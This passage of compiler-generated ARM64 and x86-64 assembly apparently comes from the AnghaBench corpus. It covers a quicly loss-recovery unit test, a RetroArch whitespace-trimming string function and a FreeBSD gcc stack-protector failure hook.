Reload ldr x8, [x8] subs x8, x0, x8 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_connection_is_ready subs w8, w0, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr x4, [sp, #64] ; 8-byte Folded Reload ldr x11, [sp, #72] ; 8-byte Folded Reload ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x9, [x29, #-96] ; 8-byte Folded Reload adrp x10, _QUICLY_DELAYED_ACK_TIMEOUT@GOTPAGE ldr x10, [x10, _QUICLY_DELAYED_ACK_TIMEOUT@GOTPAGEOFF] str x10, [sp, #56] ; 8-byte Folded Spill ldr x12, [x10] ldr x10, [x11] add x10, x10, x12 str x10, [x11] ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_get_state ldur x8, [x29, #-104] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x0, x8 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_connection_is_ready subs w8, w0, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr x11, [sp, #72] ; 8-byte Folded Reload ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldr x4, [sp, #104] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr x10, [x11] add x10, x10, #1000 str x10, [x11] ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_get_state ldur x8, [x29, #-104] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x0, x8 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_connection_is_ready subs w8, w0, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr x10, [sp, #56] ; 8-byte Folded Reload ldr x4, [sp, #64] ; 8-byte Folded Reload ldr x11, [sp, #72] ; 8-byte Folded Reload ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x9, [x29, #-96] ; 8-byte Folded Reload ldr x12, [x10] ldr x10, [x11] add x10, x10, x12 str x10, [x11] ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldr x11, [sp, #72] ; 8-byte Folded Reload ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldr x4, [sp, #104] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr x10, [x11] add x10, x10, #1000 str x10, [x11] ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_get_state ldur x8, [x29, #-104] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x0, x8 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_connection_is_ready subs w8, w0, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr x4, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x9, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldr x11, [sp, #72] ; 8-byte Folded Reload ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x2, [sp, #88] ; 8-byte Folded Reload ldr x3, [sp, #96] ; 8-byte Folded Reload ldr x4, [sp, #104] ; 8-byte Folded Reload ldur w5, [x29, #-108] ; 4-byte Folded Reload ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr x10, [x11] add x10, x10, #1000 str x10, [x11] ldr w0, [x9] ldr w1, [x8] bl _transmit_cond stur w0, [x29, #-44] ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-32] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-40] subs x8, x8, #1 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_get_state ldur x8, [x29, #-104] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x0, x8 cset w8, eq and w0, w8, #0x1 bl _ok ldur x8, [x29, #-96] ; 8-byte Folded Reload ldr w0, [x8] bl _quicly_connection_is_ready bl _ok ldur x8, [x29, #-88] ; 8-byte Folded Reload ldur x9, [x29, #-80] ; 8-byte Folded Reload ldr x8, [x8] str x8, [x9] ldp x29, x30, [sp, #224] ; 16-byte Folded Reload add sp, sp, #240 ret .cfi_endproc ; -- End function .comm _QUICLY_LOSS_SPEC_CONF,8,3 ; @QUICLY_LOSS_SPEC_CONF .comm _quic_ctx,8,3 ; @quic_ctx .comm _quic_now,8,3 ; @quic_now .comm _client,4,2 ; @client .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "example.com" .comm _fake_address,4,2 ; @fake_address .comm _server,4,2 ; @server .comm _QUICLY_STATE_CONNECTED,8,3 ; @QUICLY_STATE_CONNECTED .comm _QUICLY_DELAYED_ACK_TIMEOUT,8,3 ; @QUICLY_DELAYED_ACK_TIMEOUT .no_dead_strip _test_even .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function test_even _test_even: ## @test_even .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq _QUICLY_LOSS_SPEC_CONF@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq -8(%rbp), %rcx movq _quic_ctx@GOTPCREL(%rip), %rax movq %rcx, (%rax) leaq -16(%rbp), %rdi callq _init_cond_even leaq -24(%rbp), %rdi callq _init_cond_even movq _quic_now@GOTPCREL(%rip), %rax movq $0, (%rax) movb $0, %al callq _new_master_id movl %eax, -72(%rbp) ## 4-byte Spill xorl %eax, %eax movl %eax, %edi xorl %esi, %esi callq _ptls_iovec_init movl -72(%rbp), %r9d ## 4-byte Reload movq _client@GOTPCREL(%rip), %rdi movq _quic_ctx@GOTPCREL(%rip), %rsi leaq L_.str(%rip), %rdx movq _fake_address@GOTPCREL(%rip), %rcx xorl %r8d, %r8d ## kill: def $r8 killed $r8d movl %eax, (%rsp) movq $0, 8(%rsp) movq $0, 16(%rsp) callq _quicly_connect movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq $1, -64(%rbp) movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi leaq -56(%rbp), %rsi leaq -64(%rbp), %rdx callq _quicly_send movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -64(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok leaq -68(%rbp), %rdi leaq -56(%rbp), %rsi movl $1, %edx callq _decode_packets cmpq $1, -64(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movb $0, %al callq _new_master_id movq _server@GOTPCREL(%rip), %rdi movq _quic_ctx@GOTPCREL(%rip), %rsi xorl %ecx, %ecx movl %ecx, %r9d movq _fake_address@GOTPCREL(%rip), %rcx leaq -68(%rbp), %r8 movq %r9, %rdx movl %eax, (%rsp) movq $0, 8(%rsp) callq _quicly_accept movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok leaq -56(%rbp), %rdi movl $1, %esi callq _free_packets leaq -24(%rbp), %rdi callq *-24(%rbp) movq _server@GOTPCREL(%rip), %rax movl (%rax), %edi movq _client@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -16(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $2, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_get_state movq _QUICLY_STATE_CONNECTED@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_connection_is_ready cmpl $0, %eax setne %al xorb $-1, %al andb $1, %al movzbl %al, %edi callq _ok movq _QUICLY_DELAYED_ACK_TIMEOUT@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _quic_now@GOTPCREL(%rip), %rax addq (%rax), %rcx movq _quic_now@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi movq _server@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -24(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $0, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_get_state movq _QUICLY_STATE_CONNECTED@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_connection_is_ready cmpl $0, %eax setne %al xorb $-1, %al andb $1, %al movzbl %al, %edi callq _ok movq _quic_now@GOTPCREL(%rip), %rax movq (%rax), %rcx addq $1000, %rcx ## imm = 0x3E8 movq _quic_now@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _server@GOTPCREL(%rip), %rax movl (%rax), %edi movq _client@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -16(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_get_state movq _QUICLY_STATE_CONNECTED@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_connection_is_ready cmpl $0, %eax setne %al xorb $-1, %al andb $1, %al movzbl %al, %edi callq _ok movq _QUICLY_DELAYED_ACK_TIMEOUT@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _quic_now@GOTPCREL(%rip), %rax addq (%rax), %rcx movq _quic_now@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi movq _server@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -24(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _quic_now@GOTPCREL(%rip), %rax movq (%rax), %rcx addq $1000, %rcx ## imm = 0x3E8 movq _quic_now@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _server@GOTPCREL(%rip), %rax movl (%rax), %edi movq _client@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -16(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $0, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_get_state movq _QUICLY_STATE_CONNECTED@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_connection_is_ready cmpl $0, %eax setne %al xorb $-1, %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi movq _server@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -24(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $0, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _quic_now@GOTPCREL(%rip), %rax movq (%rax), %rcx addq $1000, %rcx ## imm = 0x3E8 movq _quic_now@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _server@GOTPCREL(%rip), %rax movl (%rax), %edi movq _client@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx leaq -40(%rbp), %rcx leaq -16(%rbp), %r8 xorl %r9d, %r9d callq _transmit_cond movl %eax, -44(%rbp) cmpl $0, -44(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -32(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok cmpq $1, -40(%rbp) sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_get_state movq _QUICLY_STATE_CONNECTED@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax sete %al andb $1, %al movzbl %al, %edi callq _ok movq _client@GOTPCREL(%rip), %rax movl (%rax), %edi callq _quicly_connection_is_ready movl %eax, %edi callq _ok movq _QUICLY_LOSS_SPEC_CONF@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _quic_ctx@GOTPCREL(%rip), %rax movq %rcx, (%rax) addq $96, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _QUICLY_LOSS_SPEC_CONF,8,3 ## @QUICLY_LOSS_SPEC_CONF .comm _quic_ctx,8,3 ## @quic_ctx .comm _quic_now,8,3 ## @quic_now .comm _client,4,2 ## @client .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "example.com" .comm _fake_address,4,2 ## @fake_address .comm _server,4,2 ## @server .comm _QUICLY_STATE_CONNECTED,8,3 ## @QUICLY_STATE_CONNECTED .comm _QUICLY_DELAYED_ACK_TIMEOUT,8,3 ## @QUICLY_DELAYED_ACK_TIMEOUT .no_dead_strip _test_even .subsections_via_symbols
AnghaBench/h2o/deps/quicly/t/extr_loss.c_test_even.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _string_trim_whitespace_left ; -- Begin function string_trim_whitespace_left .p2align 2 _string_trim_whitespace_left: ; @string_trim_whitespace_left .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_1 LBB0_1: ldur x8, [x29, #-8] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_2 LBB0_2: ldur x0, [x29, #-8] bl _strlen str x0, [sp, #16] ldur x8, [x29, #-8] str x8, [sp, #8] b LBB0_3 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq mov w9, #0 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [sp, #8] ldrb w0, [x8] bl _isspace subs x8, x0, #0 cset w8, ne str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [sp, #4] ; 4-byte Folded Reload tbz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_3 Depth=1 ldr x8, [sp, #8] add x8, x8, #1 str x8, [sp, #8] ldr x8, [sp, #16] subs x8, x8, #1 str x8, [sp, #16] b LBB0_3 LBB0_7: ldur x8, [x29, #-8] ldr x9, [sp, #8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ldur x0, [x29, #-8] ldr x1, [sp, #8] ldr x8, [sp, #16] add x2, x8, #1 bl _memmove b LBB0_9 LBB0_9: b LBB0_10 LBB0_10: ldur x0, [x29, #-8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _string_trim_whitespace_left ## -- Begin function string_trim_whitespace_left .p2align 4, 0x90 _string_trim_whitespace_left: ## @string_trim_whitespace_left .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) cmpq $0, -8(%rbp) je LBB0_10 ## %bb.1: movq -8(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB0_10 ## %bb.2: movq -8(%rbp), %rdi callq _strlen movq %rax, -16(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) LBB0_3: ## =>This Inner Loop Header: Depth=1 movq -24(%rbp), %rax movsbl (%rax), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, %ecx movb %al, -25(%rbp) ## 1-byte Spill je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movq -24(%rbp), %rax movzbl (%rax), %edi callq _isspace cmpq $0, %rax setne %al movb %al, -25(%rbp) ## 1-byte Spill LBB0_5: ## in Loop: Header=BB0_3 Depth=1 movb -25(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_6 jmp LBB0_7 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movq -24(%rbp), %rax addq $1, %rax movq %rax, -24(%rbp) movq -16(%rbp), %rax addq $-1, %rax movq %rax, -16(%rbp) jmp LBB0_3 LBB0_7: movq -8(%rbp), %rax cmpq -24(%rbp), %rax je LBB0_9 ## %bb.8: movq -8(%rbp), %rdi movq -24(%rbp), %rsi movq -16(%rbp), %rdx addq $1, %rdx callq _memmove LBB0_9: jmp LBB0_10 LBB0_10: movq -8(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/RetroArch/libretro-common/string/extr_stdstring.c_string_trim_whitespace_left.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _default_hidden_stack_protect_fail ; -- Begin function default_hidden_stack_protect_fail .p2align 2 _default_hidden_stack_protect_fail: ; @default_hidden_stack_protect_fail .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _default_external_stack_protect_fail ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .comm _FUNCTION_DECL,4,2 ; @FUNCTION_DECL .comm _NULL_TREE,8,3 ; @NULL_TREE .comm _VISIBILITY_HIDDEN,8,3 ; @VISIBILITY_HIDDEN .comm _flag_pic,4,2 ; @flag_pic .comm _stack_chk_fail_decl,8,3 ; @stack_chk_fail_decl .comm _void_type_node,4,2 ; @void_type_node .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _default_hidden_stack_protect_fail ## -- Begin function default_hidden_stack_protect_fail .p2align 4, 0x90 _default_hidden_stack_protect_fail: ## @default_hidden_stack_protect_fail .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movb $0, %al callq _default_external_stack_protect_fail popq %rbp retq .cfi_endproc ## -- End function .comm _FUNCTION_DECL,4,2 ## @FUNCTION_DECL .comm _NULL_TREE,8,3 ## @NULL_TREE .comm _VISIBILITY_HIDDEN,8,3 ## @VISIBILITY_HIDDEN .comm _flag_pic,4,2 ## @flag_pic .comm _stack_chk_fail_decl,8,3 ## @stack_chk_fail_decl .comm _void_type_node,4,2 ## @void_type_node .subsections_via_symbols
AnghaBench/freebsd/contrib/gcc/extr_targhooks.c_default_hidden_stack_protect_fail.c